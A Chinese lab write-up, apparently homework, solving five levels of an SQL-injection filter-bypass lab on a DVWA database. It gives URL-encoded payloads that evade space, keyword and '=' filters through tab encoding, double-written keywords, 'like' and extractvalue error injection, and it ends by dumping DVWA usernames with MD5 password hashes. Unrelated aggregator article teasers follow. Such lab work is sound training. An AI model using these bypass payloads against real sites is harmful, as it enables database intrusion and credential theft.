sql-bypass通关笔记(作业)

news2025/2/25 0:10:12

靶场环境的搭建:

  • 首先安装dvwa靶场;因为要用到dvwa的数据库
  • 然后将该靶场放到phpstudy的www目录下
  • 创建一个网站指向该文件夹
  • 通过访问文件夹中php文件的形式进行闯关
  • 具体压缩包我放到最后的资料里了

index1.php通关笔记

知识点:

  • 空格过滤  #过滤

首先判断注入类型

构造payload:id=1/0

有回显,没报错,说明是字符型注入

判断绕过手段

构造payload:id=1'和payload:1''

发现回显有差别;说明是单引号读取输入,是否有括号还不清楚

尝试利用万能密码测试

构造payload:id=1'and+1=1--+

发现出现了提示,说明有过滤,但是不知道是什么过滤

通过单个符号和关键字的输入测试出对空格进行了过滤;采用%09代替空格

构造payload:id=1'and%091=1--%09

成功回显出了有效内容,由于错误没有任何回显信息,所以这里不能用错误注入

尝试进行联合注入,首先判断字段数

构造payload:id=1'order%09by%098--%09

构造payload:id=1'order%09by%099--%09

发现页面回显出现了变化,说明字段数为8

进行联合注入

构造payload:id=0'union%09select%091,2,3,4,5,6,7,8%09--%09

输入内容成功回显到了页面上,4和5的位置

好了,可以利用联合注入获取数据库信息了

构造payload:id=0'union%09select%091,2,3,database(),version(),6,7,8%09--%09

好了,到这里就收工了;想要获取其他信息可以自己尝试,之前做过很多遍了,这里就不往下演示了

index2.php通关笔记

知识点:

  • and or 关键字过滤
  • || &&进行代替
  • like 函数名 == and效果

通过不断的测试发现这里是and or 关键字过滤

前面的步骤就不再演示了,直接出绕过的payload

构造payload:id=0%27union%20select%201,2,3,4,5,6,7,8--+

页面成功回显出了输入的信息

利用联合注入来获取数据库关键信息

构造payload:id=0%27union%20select%201,2,3,database(),version(),6,7,8--+

成功获取了数据库民和版本信息

index3.php通关笔记

知识点:

  • = 过滤
  • 利用 > < like in 等代替
  • 这里不要用and,用or进行判断;and这里有问题,具体不知道怎么回事,判断条件会失效

通过测试发现是=过滤;尝试用其他符号代替

构造payload:id= 0'or 1 in (1) --+

构造payload:id= 0'or 3>1 --+

构造payload:id= 0'or 1 like 1 --+

成功获取到了回显内容;

测试发现只有=被过滤了,可以使用联合注入

构造payload:id=0%27%20union%20select%201,2,3,4,5,6,7,8%20--+

页面成功回显

获取数据库信息

构造payload:id=0%27%20union%20select%201,2,3,database(),version(),6,7,8%20--+

成功获取到了数据库名和版本信息

index4.php通关笔记

知识点:

  • and or 关键字过滤;%26%26 || 代替
  • 错误注入
  • 联合注入

通过测试发现这里有完整的错误回显,并且对and or关键字进行了过滤;好了使用&& || 进行代替就好了,不过这里不能直接用&&,需要进行url编码 %26%26

利用错误注入获取数据库名

构造payload:id=1%27%26%26%20extractvalue(1,concat(0x7e,database(),0x7e))=1%20--+

成功获取了数据库名

利用联合注入来获取数据库名

构造payload:id=0%27union%20select%201,2,3,database(),version(),6,7,8%20--+

成功获取了数据库名和版本信息

index5.php通关笔记

知识点:

  • and or 过滤
    • || &&绕过
      • 使用&&时需要进行url编码 --> %26%26
    • 双写绕过 
      • 针对 information -->infoorrmation
      • password  ---> passwoorrd
  • = in 过滤
    • like 绕过
  • select 过滤  只过滤select+空格
    • 这里可以利用 select%09绕过
  • union 过滤
    • 这里可以利用双写绕过
  • from 过滤
    • 这里可以使用双写绕过
  • database 关键字过滤
    • 可以利用schema()代替获取数据库名
  • user 关键字过滤
    • 使用双写绕过
    • users --->ususerers
  • 可以利用联合注入;也可以利用错误注入
    • 联合注入payload:id=0%27%20Uniunionon%09select%091,2,3,schema(),version(),6,7,8%20--+
    • 错误注入payload:id=0%27||extractvalue(1,concat(0x7e,schema(),0x7e))%20like%201--+
  • 这里使用联合注入演示完整过程;错误注入一样的,联合注入更方便
  • 最后需要对拼接到一起的字段名进行hex编码输出;不编码的话会报错
    • Illegal mix of collations for operation 'UNION'
    • 出现该错误原因在于information_schema数据库中的信息和dvwa数据库使用的编码格式不同;所以使用十六进制进行输出保险
  • 这一关含金量太高了,花的时间太多了,不过不断的进行测试然后找到绕过方法的过程很爽

通过不断的测试知道了这关的过滤条件;下面利用联合注入进行演示

构造payload:id=0%27%20Uniunionon%09select%091,2,3,schema(),version(),6,7,8%20--+

成功获取了数据库名和版本信息

获取数据库的表名

构造payload:id=0%27%09uniounionn%09%20select%091,2,3,(select%09%20hex(group_concat(table_name))%09frfromom%09infoorrmation_schema.tables%09where%09table_schema%20like%20%27dvwa%27%20),version(),6,7,8%20--+

得到了hex输出:6775657374626F6F6B2C7573657273

解码后为:guestbook,users

得到了两个表名;发现了重要的用户信息

接下来获取users表中的字段名

构造payload:id=0%27%09uniounionn%09%20select%091,2,3,(select%09(hex(group_concat(column_name)))%09frfromom%09infoorrmation_schema.columns%09where%09table_schema%20like%20%27dvwa%27%09%26%26%09table_name%20like%20%27ususerers%27%20%20),version(),6,7,8%20--+

得到了hex编码的字符串:757365725F69642C66697273745F6E616D652C6C6173745F6E616D652C757365722C70617373776F72642C6176617461722C6C6173745F6C6F67696E2C6661696C65645F6C6F67696E

进行解码获取到了所有字段名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

下面可以获取用户名和密码信息

构造payload:id=0%27%09uniounionn%09%20select%091,2,3,(select%09(hex(group_concat(ususerer,%27:%27,passwoorrd)))%09frfromom%09dvwa.ususerers%20),version(),6,7,8%20--+

成功获取了用户名和密码信息的hex编码

显示的hex编码为:61646D696E3A38363333663362393932663565646161346461656133373938323636653437372C676F72646F6E623A65393961313863343238636233386435663236303835333637383932326530332C313333373A38643335333364373561653263333936366437653064346663633639323136622C7061626C6F3A30643130376430396635626265343063616465336465356337316539653962372C736D697468793A3566346463633362356161373635643631643833323764656238383263663939

解码之后出现了具体数据

admin:8633f3b992f5edaa4daea3798266e477,gordonb:e99a18c428cb38d5f260853678922e03,1337:8d3533d75ae2c3966d7e0d4fcc69216b,pablo:0d107d09f5bbe40cade3de5c71e9e9b7,smithy:5f4dcc3b5aa765d61d8327deb882cf99

这样就获取到了用户名和密码信息

终于搞完了,收工

10

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1529058.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

51单片机—直流电机

1.元件介绍 2.驱动电路 3.电机调速 一般会保证一个周期的时间是一样的 应用&#xff1a; 1.LED呼吸灯 #include <REGX52.H>sbit LEDP2^0;void Delay(unsigned int t) {while(t--); } void main() {unsigned char Time,i;while(1){for(Time0;Time<100;Time){for(i0;…

MateBook 14s 2023款 集显 触屏(HKFG-16)原厂Win11系统

HUAWEI华为MateBook14s笔记本电脑2023款原装Windows11&#xff0c;恢复出厂开箱状态系统下载 适用型号&#xff1a;HKFG-XX、HKFG-16、HKFG-32 链接&#xff1a;https://pan.baidu.com/s/1GBPLwucRiIup539Ms2ue0w?pwdfm41 提取码&#xff1a;fm41 原厂系统自带所有驱动、…

python失物招领系统-安卓-flask-django-nodejs-php

对于本失物招领 的设计来说&#xff0c; 它是应用mysql数据库、安卓等技术动态编程以及数据库进行努力学习和大量实践&#xff0c;并运用到了 建设中在整个系统的设计当中&#xff0c;具体根据网上失物招领的现状来进行开发的&#xff0c;具体根据用户需求实现网上失物招领网络…

基于python的在线学习与推荐系统

技术&#xff1a;pythonmysqlvue 一、系统背景 当前社会各行业领域竞争压力非常大&#xff0c;随着当前时代的信息化&#xff0c;科学化发展&#xff0c;让社会各行业领域都争相使用新的信息技术&#xff0c;对行业内的各种相关数据进行科学化&#xff0c;规范化管理。这样的大…

【计算机视觉】三、图像处理——实验:图像去模糊和去噪、提取边缘特征

文章目录 0. 实验环境1. 理论基础1.1 滤波器&#xff08;卷积核&#xff09;1.2 PyTorch:卷积操作 2. 图像处理2.1 图像读取2.2 查看通道2.3 图像处理 3. 图像去模糊4. 图像去噪4.1 添加随机噪点4.2 图像去噪 0. 实验环境 本实验使用了PyTorch深度学习框架&#xff0c;相关操作…

STM32编写ADC功能,实现单路测量电压值(OLED显示)

先来看看本次实验的结果吧&#xff1a;stm32点电压测量范围为0-3.3V&#xff0c;数值为&#xff1a;0-4095 来看看这个工程的文件布局吧&#xff1a; 实现ADC功能总共分为六步&#xff1a; 第一步&#xff1a;开始RCC时钟&#xff0c;包括ADC和GPIO的时钟&#xff0c;ADCCLK的…

【Linux】——进程地址空间 Linux2.6内核进程调度队列

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 文章目录 前言 一、环境变量的补充 二、进程空间的地址 2.1、程序地址空间 2.2、研究背景 2.3、程序地址空间 来段代码感受一下 2.4、进程地址空间 2.5、如何…

【计算机网络】IP 协议

网络层IP协议 一、认识 IP 地址二、IP 协议报头格式三、网段划分1. 初识子网划分2. 理解子网划分3. 子网掩码4. 特殊的 IP 地址5. IP 地址的数量限制6. 私有 IP 地址和公网 IP 地址7. 理解全球网络&#xff08;1&#xff09;理解公网&#xff08;2&#xff09;理解私网&#xf…

一文搞懂IP

IP 1. 基本介绍2. IP地址定义3. IP地址分类4. 子网掩码5. 全局地址与私有地址 1. 基本介绍 TCP/IP 协议的心脏是网络层&#xff0c;主要“实现节点之间的通信”&#xff0c;即“点对点(end-to-end)通信”。 网络层包含IP(Internet Protocol)及DNS&#xff08;Domain Name Sys…

代码随想录算法训练营 DAY 14 | 二叉树的递归遍历和迭代遍历

二叉树基础 种类 满二叉树&#xff1a;深度为k&#xff0c;有2^k-1个节点的二叉树 完全二叉树&#xff1a;除了最底层可能没满&#xff0c;且都在靠左侧 优先级队列其实是一个堆&#xff0c;堆就是一棵完全二叉树&#xff0c;同时保证父子节点的顺序关系。 二叉搜索树&…

redis学习-String类型的命令介绍以及特殊情况分析

目录 1. set key value 2. get key 3. append key string 4. strlen key 5. incr key 和 decr key 6. incrby key num 和 decrby key num 7. getrange key start end 8. setrange key start string 9. setex key time value 10. setnx key value 11. mset key1 val…

AI论文速读 | UniST:提示赋能通用模型用于城市时空预测

本文是时空领域的统一模型——UniST&#xff0c;无独有偶&#xff0c;时序有个统一模型新工作——UniTS&#xff0c;感兴趣的读者也可以阅读今天发布的另外一条。 论文标题&#xff1a;UniST: A Prompt-Empowered Universal Model for Urban Spatio-Temporal Prediction 作者&…

Linux进程通信补充——System V通信

System V进程通信 ​ System V是一个单独设计的内核模块&#xff1b; ​ 这套标准的设计不符合Linux下一切皆文件的思想&#xff0c;尽管隶属于文件部分&#xff0c;但是已经是一个独立的模块&#xff0c;并且shmid与文件描述符之间的兼容性做的并不好&#xff0c;网络通信使…

Linux入门级别命令(下载远程连接工具)

$pwd&#xff08;当前所在位置&#xff0c;显示打印当前工作目录&#xff09;$mkdir 创建目录$cd dir 换个位置&#xff08;进入某一个目录&#xff09;$cd 什么都不加回到最开始的目录$ls当前目录位置下的文件信息&#xff08;列出当前所在位置下有哪些东西&#xff09;$mv移动…

SpringBoot与SpringCloud的版本对应详细版

在实际开发过程中&#xff0c;我们需要详细到一一对应的版本关系&#xff1a;Spring 官方对应版本地址&#xff1a; (https://start.spring.io/actuator/info)&#xff0c;建议用firefox浏览器打开&#xff0c;你会看见格式化好了json信息&#xff1a; 手动记录一些经本人实际…

导师评价网最全整合版

目录 简介 下载地址 打开index.html即可查询。 简介 下载地址 链接&#xff1a;https://pan.baidu.com/s/1QU6PgoF3Fi8NqtaGHzfAuw?pwdoc0s 提取码&#xff1a;oc0s --来自百度网盘超级会员V5的分享

【Frida】06_分析扫雷游戏的数据,显示地雷位置

&#x1f6eb; 系列文章导航 【Frida】 00_简单介绍和使用 https://blog.csdn.net/kinghzking/article/details/123225580【Frida】 01_食用指南 https://blog.csdn.net/kinghzking/article/details/126849567【Frida】 03_初识frida-node https://blog.csdn.net/kinghzking/ar…

python基于django的高校迎新系统 flask新生报到系统

系统的登录界面和业务逻辑简洁明了&#xff0c;采用一般的界面窗口来登录界面,整个系统更加人性化&#xff0c;用户操作更加简洁方便。本系统在操作和管理上比较容易&#xff0c;还具有很好的交互性等特点&#xff0c;在操作上是非常简单的。因此&#xff0c;本系统可以进行设计…

【代码】YOLOv8标注信息验证

此代码的功能是标注信息验证&#xff0c;将原图和YOLOv8标注文件&#xff08;txt&#xff09;放在同一个文件夹中&#xff0c;作为输入文件夹 程序将标注的信息还原到原图中&#xff0c;并将原图和标注后的图像一同保存&#xff0c;以便查看 两个draw_labels函数&#xff0c;分…

【译文】使用ANSI码丰富命令行输出

每个人都习惯了在终端中打印输出的程序&#xff0c;当新文本出现时&#xff0c;它会滚动&#xff0c;但这并不是您所能做的全部:您的程序可以为文本上色&#xff0c;上下左右移动光标&#xff0c;或者在以后要重新打印时清除屏幕的部分内容。这就是为什么像Git这样的程序可以实…